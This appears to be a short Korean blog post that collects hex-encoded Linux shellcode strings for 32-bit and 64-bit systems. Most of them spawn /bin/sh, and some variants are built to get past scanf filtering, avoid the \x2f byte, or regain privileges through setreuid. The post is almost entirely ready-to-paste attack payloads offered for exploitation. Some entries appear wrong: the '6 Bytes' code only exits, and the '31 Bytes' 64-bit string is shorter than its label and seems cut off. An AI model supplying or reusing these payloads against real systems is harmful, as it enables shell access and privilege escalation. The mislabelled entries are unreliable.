네른

shellcode 모음 본문

궁금/한줄짜리

shellcode 모음

네른 2022. 2. 16. 17:31

우회가 필요한 경우 사용해야하는 쉘코드들

 

32bit shellcode

 

6 Bytes Shell Code

\x31\xc0\xb0\x01\xcd\x80

 

25 Bytes Shell Code (기본 쉘코드)

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

26 Bytes Shell Code (scanf 우회 쉘코드)

\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x31\xc9\x31\xd2\xb0\x08\x40\x40\x40\xcd\x80

 

41 Bytes Shell Code   (setreuid(geteuid(), getreuid()) 포함)

\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80

 

48 Bytes Shell Code  (\x2f가 없는 쉘코드)

\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81

 

 

64bit shellcode

 

23 Bytes Shell Code (기본 쉘코드)

\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05

 

31 Bytes Shell Code

\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73

 

 

출처 : https://hackhijack64.tistory.com/38

'궁금 > 한줄짜리' 카테고리의 다른 글

checksec  (0) 2022.02.18
Scanf가 읽지 못하는 byte  (0) 2022.02.16
peda 명령어  (0) 2022.02.11
WSL에 windows폴더 symlink 걸기  (0) 2021.10.05
DAC, MAC, RBAC  (0) 2020.06.17
Comments